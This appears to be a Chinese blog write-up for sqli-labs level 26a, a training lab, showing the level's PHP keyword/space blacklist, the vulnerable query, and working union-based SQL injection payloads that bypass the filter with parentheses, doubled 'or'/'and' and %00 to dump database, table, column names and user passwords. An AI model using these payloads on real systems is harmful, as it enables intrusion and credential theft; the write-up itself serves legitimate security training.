sqli-labs-Less-26a

SQLI-LAPS 实验记录

Less-26a

这一关与上一关类似,但闭合方式不同,增加了'),那么过关方式就可以结合上一关的技巧,以()应对空格,以双写绕过的方式应对'and','or'字符过滤。

php 复制代码
function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}
php 复制代码
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

根据之前我们的注入经验,并结合源码中的sql查询语句,按照提示信息,这次我们使用联合注入的方式,输入Payload如下:

php 复制代码
0') union(select(1),(2),(3));%00

结果如图所示,可以看到页面成功返回数值,那么我们就可以在相应的位置上进行注入。

这里要特别注意,最前面的id值设置为0,而不能设置为1或者-1,否则会影响到回显数值。


后续查找数据库库名、表名、列名及其他数据的Payload分别如下:

  • 查找数据库名:

    php 复制代码
    0') union(select(1),(2),(database()));%00
  • 查找表名:

    php 复制代码
    0') union(select(1),(2),(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)='security'));%00
  • 查找列名:

    php 复制代码
    0') union(select(1),(2),(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema)='security'anandd(table_name)='users'));%00

    查找其他数据:

    php 复制代码
    0') union(select(1),(2),(select(concat(username,':',passwoorrd))from(security.users)where(id=1)));%00

    这里如果想要查询其他的用户名与密码,可以修改where语句当中的id值,即id=2,3,4......

相关推荐
爱码小白5 分钟前
MySQL 单表查询练习题汇总
数据库·python·算法
WangJunXiang67 分钟前
第09章:PostgreSQL日常维护
数据库·postgresql
三道渊26 分钟前
进程通信与网络协议
开发语言·数据库·php
徒 花29 分钟前
数据库知识复习05
android·数据库
豆沙糕31 分钟前
RAG文档切分最佳实践:企业级方案+主流策略+生产落地
数据库·人工智能
不会写DN33 分钟前
SQL 多表操作全解
数据库·sql
爱莉希雅&&&36 分钟前
linux中MySQL数据库备份恢复的四种方法(更新中)
linux·数据库·mysql·数据库备份·mysqldumper
云边有个稻草人43 分钟前
时序数据库选型技术剖析:从写入、存储到查询的五个关键维度
数据库
疯狂成瘾者1 小时前
Chroma向量数据库
开发语言·数据库·c#
ayt0071 小时前
Netty AbstractNioChannel源码深度剖析:NIO Channel的抽象实现
java·数据库·网络协议·安全·nio